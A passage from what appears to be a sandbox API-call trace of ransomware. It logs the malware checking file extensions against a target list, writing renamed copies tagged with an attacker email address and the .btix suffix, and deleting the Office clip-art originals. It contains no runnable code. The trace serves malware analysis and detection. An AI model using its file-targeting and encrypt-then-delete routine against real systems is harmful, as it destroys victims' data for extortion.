Office\\root\\CLIPART\\PUB60COR\\J0227419.JPG") returned 68 [0158.873] lstrlenW (lpString=".jpg") returned 4 [0158.873] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.873] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.873] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227558.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0158.874] GetLastError () returned 0x0 [0158.874] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xe2e9, lpOverlapped=0x0) returned 1 [0158.877] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xe2f0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xe2f0, lpOverlapped=0x0) returned 1 [0158.878] ReadFile (in: hFile=0x3a0, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.878] WriteFile (in: hFile=0x378, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.878] SetEndOfFile (hFile=0x378) returned 1 [0158.878] CloseHandle (hObject=0x378) returned 1 [0158.878] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.878] SetEndOfFile (hFile=0x3a0) returned 1 [0158.879] CloseHandle (hObject=0x3a0) returned 1 [0158.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227558.jpg")) returned 1 [0158.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0158.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0158.880] lstrlenW (lpString=".doc") returned 4 [0158.880] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.880] lstrlenW (lpString=".docx") returned 5 [0158.880] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0158.880] lstrlenW (lpString=".pdf") returned 4 [0158.880] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.880] lstrlenW (lpString=".xls") returned 4 [0158.880] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.880] lstrlenW (lpString=".xlsx") returned 5 [0158.880] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0158.880] lstrlenW (lpString=".ppt") returned 4 [0158.880] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0158.880] lstrlenW (lpString=".zip") returned 4 [0158.880] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.880] lstrlenW (lpString=".rar") returned 4 [0158.880] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.881] lstrlenW (lpString=".bz2") returned 4 [0158.881] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.881] lstrlenW (lpString=".7z") returned 3 [0158.881] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0158.881] lstrlenW (lpString=".dbf") returned 4 [0158.881] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0158.881] lstrlenW (lpString=".1cd") returned 4 [0158.881] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.JPG") returned 68 [0158.881] lstrlenW (lpString=".jpg") returned 4 [0158.881] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0159.012] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.020] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228823.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228823.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.045] GetLastError () returned 0x0 [0159.045] ReadFile (in: hFile=0x354, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x65a6, lpOverlapped=0x0) returned 1 [0159.052] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x65b0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x65b0, lpOverlapped=0x0) returned 1 [0159.053] ReadFile (in: hFile=0x354, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.053] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.054] SetEndOfFile (hFile=0x380) returned 1 [0159.054] CloseHandle (hObject=0x380) returned 1 [0159.054] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.054] SetEndOfFile (hFile=0x354) returned 1 [0159.055] CloseHandle (hObject=0x354) returned 1 [0159.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228823.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0228823.wmf")) returned 1 [0159.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228823.WMF") returned 68 [0159.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228823.WMF") returned 68 [0159.056] lstrlenW (lpString=".doc") returned 4 [0159.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString=".docx") returned 5 [0159.056] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0159.056] lstrlenW (lpString=".pdf") returned 4 [0159.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString=".xls") returned 4 [0159.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.056] lstrlenW (lpString=".xlsx") returned 5 [0159.056] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0159.056] lstrlenW (lpString=".ppt") returned 4 [0159.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228823.WMF") returned 68 [0159.056] lstrlenW (lpString=".zip") returned 4 [0159.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.056] lstrlenW (lpString=".rar") returned 4 [0159.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString=".bz2") returned 4 [0159.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.056] lstrlenW (lpString=".7z") returned 3 [0159.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228823.WMF") returned 68 [0159.056] lstrlenW (lpString=".dbf") returned 4 [0159.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228823.WMF") returned 68 [0159.057] lstrlenW (lpString=".1cd") returned 4 [0159.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0228823.WMF") returned 68 [0159.057] lstrlenW (lpString=".jpg") returned 4 [0159.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.059] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.059] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232395.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.060] GetLastError () returned 0x0 [0159.060] ReadFile (in: hFile=0x354, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xa086, lpOverlapped=0x0) returned 1 [0159.063] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xa090, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xa090, lpOverlapped=0x0) returned 1 [0159.065] ReadFile (in: hFile=0x354, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.065] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.065] SetEndOfFile (hFile=0x380) returned 1 [0159.065] CloseHandle (hObject=0x380) returned 1 [0159.065] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.065] SetEndOfFile (hFile=0x354) returned 1 [0159.066] CloseHandle (hObject=0x354) returned 1 [0159.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.067] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232395.wmf")) returned 1 [0159.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0159.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0159.067] lstrlenW (lpString=".doc") returned 4 [0159.068] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.068] lstrlenW (lpString=".docx") returned 5 [0159.068] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0159.068] lstrlenW (lpString=".pdf") returned 4 [0159.068] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.068] lstrlenW (lpString=".xls") returned 4 [0159.068] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.068] lstrlenW (lpString=".xlsx") returned 5 [0159.068] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0159.068] lstrlenW (lpString=".ppt") returned 4 [0159.068] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0159.068] lstrlenW (lpString=".zip") returned 4 [0159.068] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.068] lstrlenW (lpString=".rar") returned 4 [0159.068] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.068] lstrlenW (lpString=".bz2") returned 4 [0159.068] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.068] lstrlenW (lpString=".7z") returned 3 [0159.068] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0159.068] lstrlenW (lpString=".dbf") returned 4 [0159.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0159.068] lstrlenW (lpString=".1cd") returned 4 [0159.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232395.WMF") returned 68 [0159.068] lstrlenW (lpString=".jpg") returned 4 [0159.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.069] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.069] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232795.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.070] GetLastError () returned 0x0 [0159.070] ReadFile (in: hFile=0x354, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x380a, lpOverlapped=0x0) returned 1 [0159.072] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x3810, lpOverlapped=0x0) returned 1 [0159.073] ReadFile (in: hFile=0x354, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.073] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.073] SetEndOfFile (hFile=0x380) returned 1 [0159.073] CloseHandle (hObject=0x380) returned 1 [0159.073] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.073] SetEndOfFile (hFile=0x354) returned 1 [0159.074] CloseHandle (hObject=0x354) returned 1 [0159.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232795.wmf")) returned 1 [0159.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0159.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0159.075] lstrlenW (lpString=".doc") returned 4 [0159.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.076] lstrlenW (lpString=".docx") returned 5 [0159.076] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0159.076] lstrlenW (lpString=".pdf") returned 4 [0159.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.076] lstrlenW (lpString=".xls") returned 4 [0159.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.076] lstrlenW (lpString=".xlsx") returned 5 [0159.076] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0159.076] lstrlenW (lpString=".ppt") returned 4 [0159.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0159.076] lstrlenW (lpString=".zip") returned 4 [0159.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.076] lstrlenW (lpString=".rar") returned 4 [0159.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.076] lstrlenW (lpString=".bz2") returned 4 [0159.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.076] lstrlenW (lpString=".7z") returned 3 [0159.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0159.076] lstrlenW (lpString=".dbf") returned 4 [0159.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0159.076] lstrlenW (lpString=".1cd") returned 4 [0159.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232795.WMF") returned 68 [0159.076] lstrlenW (lpString=".jpg") returned 4 [0159.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.077] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.077] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232797.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232797.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.078] GetLastError () returned 0x0 [0159.078] ReadFile (in: hFile=0x354, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x899c, lpOverlapped=0x0) returned 1 [0159.088] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x89a0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x89a0, lpOverlapped=0x0) returned 1 [0159.091] ReadFile (in: hFile=0x354, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.091] WriteFile (in: hFile=0x380, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.091] SetEndOfFile (hFile=0x380) returned 1 [0159.091] CloseHandle (hObject=0x380) returned 1 [0159.091] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.091] SetEndOfFile (hFile=0x354) returned 1 [0159.092] CloseHandle (hObject=0x354) returned 1 [0159.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232797.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232797.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232797.wmf")) returned 1 [0159.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232797.WMF") returned 68 [0159.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232797.WMF") returned 68 [0159.093] lstrlenW (lpString=".doc") returned 4 [0159.094] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString=".docx") returned 5 [0159.094] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0159.094] lstrlenW (lpString=".pdf") returned 4 [0159.094] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString=".xls") returned 4 [0159.094] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.094] lstrlenW (lpString=".xlsx") returned 5 [0159.094] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0159.094] lstrlenW (lpString=".ppt") returned 4 [0159.094] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232797.WMF") returned 68 [0159.094] lstrlenW (lpString=".zip") returned 4 [0159.094] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.094] lstrlenW (lpString=".rar") returned 4 [0159.094] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString=".bz2") returned 4 [0159.094] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString=".7z") returned 3 [0159.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232797.WMF") returned 68 [0159.094] lstrlenW (lpString=".dbf") returned 4 [0159.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232797.WMF") returned 68 [0159.094] lstrlenW (lpString=".1cd") returned 4 [0159.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232797.WMF") returned 68 [0159.094] lstrlenW (lpString=".jpg") returned 4 [0159.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.413] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.413] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0232803.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0232803.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.413] GetLastError () returned 0x0 [0159.413] ReadFile (in: hFile=0x338, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x4de6, lpOverlapped=0x0) returned 1 [0159.415] WriteFile (in: hFile=0x370, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x4df0, lpOverlapped=0x0) returned 1 [0159.416] ReadFile (in: hFile=0x338, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.416] WriteFile (in: hFile=0x370, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0159.416] SetEndOfFile (hFile=0x370) returned 1 [0159.417] CloseHandle (hObject=0x370) returned 1 [0159.417] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) 